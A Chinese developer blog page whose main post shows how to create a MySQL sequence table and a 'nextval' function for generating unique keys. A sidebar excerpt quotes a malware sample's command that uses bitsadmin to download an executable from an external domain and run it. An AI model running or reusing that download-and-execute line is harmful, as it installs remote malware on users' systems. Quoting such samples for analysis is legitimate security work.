文档章节

使用mysql创建唯一字段

呵呵3547
 呵呵3547
发布于 2016/07/17 19:54
字数 126
阅读 4
收藏 0

1)在mysql中创建一张表 CREATE TABLE tbl_sequence ( name VARCHAR(50) NOT NULL, currentValue INT(11) NULL DEFAULT NULL, increment INT(11) NULL DEFAULT NULL, PRIMARY KEY (name) )

2)创建一个函数 DROP FUNCTION IF EXISTS nextval;
DELIMITER $
CREATE FUNCTION nextval (seq_name VARCHAR(50))
RETURNS INTEGER
BEGIN
DECLARE value INTEGER; SET VALUE = (SELECT currentValue from tbl_sequence where name = seq_name); if (VALUE IS NULL) then SET VALUE = 10000; INSERT INTO tbl_sequence(name, currentValue, increment) value(seq_name, VALUE, 1); END IF; UPDATE tbl_sequence SET currentValue = currentValue + increment WHERE name = seq_name; RETURN value;
END
$
DELIMITER ;

3)生成唯一键 select nextval('20160708');

© 著作权归作者所有

共有 人打赏支持
呵呵3547
粉丝 1
博文 5
码字总数 1461
作品 0
昌平
程序员
6、MySQL字段约束介绍

6、MySQL字段约束 上一章简要介绍了关于MySQL关于多表查询的相关操作介绍,本章内容将在创建数据表的时候关于定义的相关字段进行约束操作。 一、字段字段修饰符的使用 1.1 null和not null修饰...

CARYFLASH
2017/11/20
0
0
MySQL学习笔记一

MySQL目录结构 配置my.ini MySQL5.7的my.ini位于ProgramDataMySQLMySQL Server 5.7目录下(可能有的版本的my.ini就在安装目录下),该该目录下还有一个data目录存放我们的创建的数据库。 打开...

Aaron_DMC
2016/12/16
27
0
MySQL当批量插入遇上唯一索引

一、背景 以前使用SQL Server进行表分区的时候就碰到很多关于唯一索引的问题:Step8:SQL Server 当表分区遇上唯一约束,没想到在MySQL的分区中一样会遇到这样的问题:MySQL表分区实战。 今天...

雍雍_yoyo
2013/12/26
0
0
MySQL数据库索引

MySQL数据库索引分成三类:普通索引,唯一索引和主索引 1、普通索引   普通索引(由关键字KEY或INDEX定义的索引)的唯一任务是加快对数据的访问速度。因此,应该只为那些最经常出现在查询条...

满小茂
2016/08/23
50
0
MySql的基本操作以及以后开发经常使用的常用指令

第一章:数据类型和操作数据表 MySQL语句的规范 (1):关键字与函数名称全部大写 (2):数据库名称,表名称,字段名称全部小写 (3):SQL语句必须以分号结尾 1:命令行模式启动mysql服务 net start ...

别叫小伙
2016/09/25
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
21分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
34分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
35分钟前
1
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
46分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部